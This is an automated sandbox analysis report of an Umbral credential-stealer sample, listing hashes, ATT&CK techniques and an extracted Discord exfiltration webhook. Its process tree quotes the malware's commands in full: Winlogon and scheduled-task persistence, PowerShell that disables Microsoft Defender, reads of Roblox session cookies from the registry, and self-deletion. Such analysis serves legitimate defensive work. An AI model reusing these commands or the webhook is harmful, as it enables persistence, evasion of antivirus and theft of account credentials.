umbral | b638a068653a1b5273d6a11c43d97c7cc3febdc3085243760ac9c57e04d35e10

Analysis

max time kernel
15s
max time network
71s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29-02-2024 13:48

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General

Target

setup-1.exe
Size

244KB
MD5

88a46f6fad262c425ac411c1f9594c69
SHA1

07a58a70278d223165ba22aee94863587ceb4057
SHA256

b638a068653a1b5273d6a11c43d97c7cc3febdc3085243760ac9c57e04d35e10
SHA512

730549619dd6e8847068c4f569b3d1f9d8b49162d85d8a8a6c4a4151f1a97590d7d59dc91e15497c5ce5d020d53385f8cb8de30e159d5f34718f26ace2272001
SSDEEP

6144:epkye1kDlYpAoEjQnZkLdGDB6Hkn2cY3TwaRb7:kknCDSBEjEkLdM6HV3Ma

Score

10^/10

umbral persistence stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1211276511907151963/KjUXY-OO5tQr3VnZNM1_1xmfhFv3JUJtYA090It15YMwQCWI8k2rOR5-d1J0h7UrcBe-

Signatures

Detect Umbral payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023252-6.dat	family_umbral
behavioral2/files/0x0008000000023252-28.dat	family_umbral
behavioral2/files/0x0008000000023252-29.dat	family_umbral
behavioral2/memory/3088-31-0x000001F3921D0000-0x000001F392210000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\ProgramData\\Microsoft\\Windows\\Templates\\2lurlfhn.fn5.exe"	setup-1.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	setup-1.exe

Executes dropped EXE 1 IoCs

pid	Process
3088	2lurlfhn.fn5.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
61	discord.com
62	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
57	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
976	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4040	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3620	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	2lurlfhn.fn5.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 1704	5044	setup-1.exe	97
PID 5044 wrote to memory of 1704	5044	setup-1.exe	97
PID 1704 wrote to memory of 976	1704	CMD.exe	98
PID 1704 wrote to memory of 976	1704	CMD.exe	98
PID 5044 wrote to memory of 3088	5044	setup-1.exe	100
PID 5044 wrote to memory of 3088	5044	setup-1.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3052	attrib.exe

C:\Users\Admin\AppData\Local\Temp\setup-1.exe
"C:\Users\Admin\AppData\Local\Temp\setup-1.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "System Update" /tr "C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "System Update" /tr "C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe"
    3⤵
    - Creates scheduled task(s)
    PID:976
- C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe
  "C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3088
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe"
    3⤵
    - Views/modifies file attributes
    PID:3052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe'
    3⤵
    PID:4804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    PID:3640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:4420
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:3828
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4000
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    PID:2116
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4040
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe" && pause
    3⤵
    PID:5024
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:3620

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:4324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3756 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:8
1⤵
PID:5076

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe

Filesize
2.4MB

MD5
ebe3b1a60e138e1ad2c4e91c256b6143

SHA1
3218136e3229d19a7e223f510ce11ffa1ba65624

SHA256
918f4d41dcb8c89a9f09600c4baef831de0779c6bccbb28f5e4b5c402986e13c

SHA512
cc0003fb05d5f786c78e584bfb6490774fcdfa21df05bfee78d4078fb692a9cea8d691441a81d59c697b3b4bd166e3671300d108dbd87a39de3cd305727d78c0

Download Submit
C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe

Filesize
2.3MB

MD5
a834ce82b2607968bfd45bdde9037099

SHA1
de3e8fc6ae7bea8bdb051c887934eab273fe5508

SHA256
805f5a8a9294af08de2d02e6d1b8d4633539e3be2a4d0d99c6964faf579d0773

SHA512
caad33d88b64c6f150694e9f18376ddca5c12b7e685ed986d242aa2ad8e9511900a220e37e5798de7bd48c8dc8f0e74921e0f4e4a9bb54b6fac86bde10f06443

Download Submit
C:\ProgramData\Microsoft\Windows\Templates\2lurlfhn.fn5.exe

Filesize
4.1MB

MD5
d3f63b566a450b90da13d1c9a5f05878

SHA1
7241151eddec1c7344037f37d728946245b3d089

SHA256
942ec5c780cbd0e1e90ccb041813c91db4c705db8e89a33bc61aebcb99ff36b3

SHA512
32fa2b0057939373467e01b8721c3a1c78fa3fd0ee549cff4a2741c0bfa96975dd0cbe50e47e6024911b130797293df2cdbfa18a00db31937502eeed0738df68

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
45fb9d7dd2918093a914fef36f5eeb21

SHA1
62ada2131906247f7c8c0862f4fcd9750d1334de

SHA256
aea229b88071a17a2ac0ea96bdc4e6a632ddb9e5dabf09541117390f1c191869

SHA512
2dca3ed9b281b5e97b86d1a7e939986910723a147afe3906b7ca1a224b83a22a378fc10742db96947e7e797ad7244d78985e938ad5eba711989943ba913bd2de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aaaeb1918171d7828cd38153cdc134fa

SHA1
7713dfa7030d1345ae47b7928981e976929815d9

SHA256
aec863f784d0c51c49d8c9edfe925edee7aefe7c7ea8b60316818baa8cc7972d

SHA512
cab8e0fe67b9f9d4cfd359ef0dbcc7f11d072eeee233e8fd78f8dfe55f556d25cba9cd43ab6611ed643e1bc083ea58265c318bde4499ae46605eee1556712e40

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
eaed10cca27e8533846abc8ff07c9697

SHA1
e456b867a79be3d213d85ab820cc7a1ceae8f7e2

SHA256
3f803b8ad424712a38fd3f45fa9b367c839cdb2bf2a194c3fe8a87dac0254cdd

SHA512
5fb6547b45d065bc63f49989687e7fe06ba31162f99cf37d4a001329049520ec2336173c696f81bbeafeb19e9265f1bd12cf5ec8d6f11c570845b293160a8ba9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejtgabdl.041.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2116-147-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/2116-135-0x000002321E1A0000-0x000002321E1B0000-memory.dmp

Filesize
64KB

Download
memory/2116-134-0x000002321E1A0000-0x000002321E1B0000-memory.dmp

Filesize
64KB

Download
memory/2116-133-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/2972-87-0x00000287BAFB0000-0x00000287BAFC0000-memory.dmp

Filesize
64KB

Download
memory/2972-76-0x00000287BAFB0000-0x00000287BAFC0000-memory.dmp

Filesize
64KB

Download
memory/2972-75-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/2972-90-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/3088-34-0x000001F393F90000-0x000001F393FA0000-memory.dmp

Filesize
64KB

Download
memory/3088-72-0x000001F3AC900000-0x000001F3AC976000-memory.dmp

Filesize
472KB

Download
memory/3088-152-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/3088-88-0x000001F3AC880000-0x000001F3AC89E000-memory.dmp

Filesize
120KB

Download
memory/3088-67-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/3088-31-0x000001F3921D0000-0x000001F392210000-memory.dmp

Filesize
256KB

Download
memory/3088-32-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/3088-117-0x000001F3AC9E0000-0x000001F3AC9F2000-memory.dmp

Filesize
72KB

Download
memory/3088-73-0x000001F3AC8B0000-0x000001F3AC900000-memory.dmp

Filesize
320KB

Download
memory/3088-74-0x000001F393F90000-0x000001F393FA0000-memory.dmp

Filesize
64KB

Download
memory/3088-116-0x000001F3AC990000-0x000001F3AC99A000-memory.dmp

Filesize
40KB

Download
memory/3640-63-0x000001EFFB5F0000-0x000001EFFB600000-memory.dmp

Filesize
64KB

Download
memory/3640-69-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/3640-68-0x000001EFFB5F0000-0x000001EFFB600000-memory.dmp

Filesize
64KB

Download
memory/3640-64-0x000001EFFB5F0000-0x000001EFFB600000-memory.dmp

Filesize
64KB

Download
memory/3640-58-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/4324-121-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-130-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-129-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-132-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-131-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-128-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-127-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-120-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-122-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4324-126-0x00000233159A0000-0x00000233159A1000-memory.dmp

Filesize
4KB

Download
memory/4420-101-0x000001C0AE770000-0x000001C0AE780000-memory.dmp

Filesize
64KB

Download
memory/4420-105-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/4420-102-0x000001C0AE770000-0x000001C0AE780000-memory.dmp

Filesize
64KB

Download
memory/4420-100-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/4804-48-0x00000211231E0000-0x00000211231F0000-memory.dmp

Filesize
64KB

Download
memory/4804-51-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/4804-41-0x0000021123090000-0x00000211230B2000-memory.dmp

Filesize
136KB

Download
memory/4804-47-0x00000211231E0000-0x00000211231F0000-memory.dmp

Filesize
64KB

Download
memory/4804-46-0x00000211231E0000-0x00000211231F0000-memory.dmp

Filesize
64KB

Download
memory/4804-40-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/5044-0-0x0000000000F90000-0x0000000000FD4000-memory.dmp

Filesize
272KB

Download
memory/5044-33-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download
memory/5044-2-0x00007FFE5F740000-0x00007FFE60201000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads